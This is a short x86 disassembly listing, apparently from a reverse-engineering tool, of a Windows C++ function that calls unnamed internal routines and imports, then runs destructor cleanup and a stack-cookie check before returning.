push edx
lea eax, [ebp - 0x7ec]
push eax
call fcn.004a02f0
add esp, 8
lea ecx, [ebp - 0x7ec]
call fcn.004d5cb0
push 0x3e8
call dword [0x51d0b4]
lea ecx, [ebp - 0x45c]
push ecx
call fcn.004d2aa0
add esp, 4
mov byte [ebp - 4], 0x44
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x9fc], esp
lea edx, [ebp - 0x45c]
push edx
call fcn.004d1510
lea eax, [ebp - 0x4a4]
push eax
call fcn.004d9e50
add esp, 0x1c
mov dword [ebp - 0x9f8], eax
push 1
lea ecx, [ebp - 0x4a4]
call fcn.00499a10
push eax
call dword [0x51d074]
mov dword [ebp - 0x978], 0
lea ecx, [ebp - 0x4a4]
call fcn.00496520
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x45c]
call fcn.004d1a10
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x7ec]
call fcn.004d1fd0
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x4bc]
call fcn.00496520
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x42c]
call fcn.00496520
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x3fc]
call fcn.00496520
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x4d4]
call fcn.00496520
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x414]
call fcn.00496520
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x39c]
call fcn.004a49c0
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x384]
call fcn.00496520
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x36c]
call fcn.00496520
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x4ec]
call fcn.00496520
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x324]
call fcn.00496520
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x354]
call fcn.00496520
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x33c]
call fcn.004a49c0
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x73c]
call fcn.004d1ad0
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x294]
call fcn.004a49c0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x610]
call fcn.004d1ad0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x6c8]
call fcn.004d1fa0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x264]
call fcn.00496520
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x30c]
call fcn.004d1a10
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2f4]
call fcn.00496520
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x248]
call fcn.00496680
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2dc]
call fcn.00496520
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c4]
call fcn.004d1a10
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x27c]
call fcn.00496520
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2ac]
call fcn.004d1a10
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00496520
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00496520
mov eax, dword [ebp - 0x978]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e5962
mov esp, ebp
pop ebp
ret